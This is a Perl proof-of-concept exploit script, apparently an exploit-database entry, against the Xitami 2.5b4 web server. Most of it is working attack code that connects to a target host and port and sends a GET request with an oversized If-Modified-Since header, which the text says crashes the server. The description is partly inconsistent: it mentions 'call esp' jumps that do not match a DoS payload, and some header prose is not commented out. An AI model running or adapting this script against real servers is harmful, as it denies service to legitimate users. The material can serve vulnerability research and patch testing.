#!/usr/bin/perl

use IO::Socket::INET;

Exploit Title: Xitami 2.5b4 - Denial of Service (DoS)

Discovery by: Fernando Mengali

Discovery Date: 29 january 2024

Vendor Homepage: https://imatix-legacy.github.io/xitami.com/

Download to demo: https://drive.google.com/file/d/1hOVDRvk0KlZbHM4HeNhvhlbETbmQVEsf/view?usp=sharing

Notification vendor: No reported

Tested Version: Xitami 2.5b4

Tested on: Window XP Professional - Service Pack 2 and 3 - English

Vulnerability Type: Denial of Service (DoS)

Vídeo: https://www.youtube.com/watch?v=Sxe6HIhAl4A

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static ‘call esp’
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to webserver.
#The following request sends a large amount of data to the webserver to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){  
  $cmd="cls";  
} else {  
  $cmd="clear";  
}

system("$cmd");

    intro();  
main();

print "\t ==> Connecting to webserver… \n\n";
sleep(1);

$exploit  = "A"*939;

if ($socket = IO::Socket::INET->new
(PeerAddr => $ip,
PeerPort => $port,
Proto => “TCP”))

   {   
$header =  
"GET / HTTP/1.1\r\n".  
"Host: ".$target." \r\n".  
"If-Modified-Since: AAAAAAAAAAAAA "." $exploit\r\n";

print $socket $header."\r\n";  
sleep(1);  
close($socket);  
}

else
{
print "[-] Connection to $target failed!\n";
}

        print "\t    ==> Done! Exploited!";  

sub intro {
print q {

 _________  
|         |  
| Exploit |==( )    //////  
|_________|   |||   | o o|                   
                ||| ( c  )                  ____  
                 ||| \= /                  ||   \_  
                  ||||||                   ||     |  
                  ||||||                ...||__/|-"  
                  ||||||             __|________|__  
                    |||             |______________|  
                    |||             || ||      || ||  
                    |||             || ||      || ||  
  ------------|||-------------||-||------||-||-------  
                    |__>            || ||      || ||          

                          [+] Xitami 2.5b4 - Denial of Service (DoS)

  [*] Coded by Fernando Mengali

  [@] e-mail: [email protected]

  }  

}

sub main {

our ($ip, $port) = @ARGV;

  unless (defined($ip) && defined($port)) {

    print "\n\tUsage: $0 <ip> <port>                 \n";  
    exit(-1);

  }  

}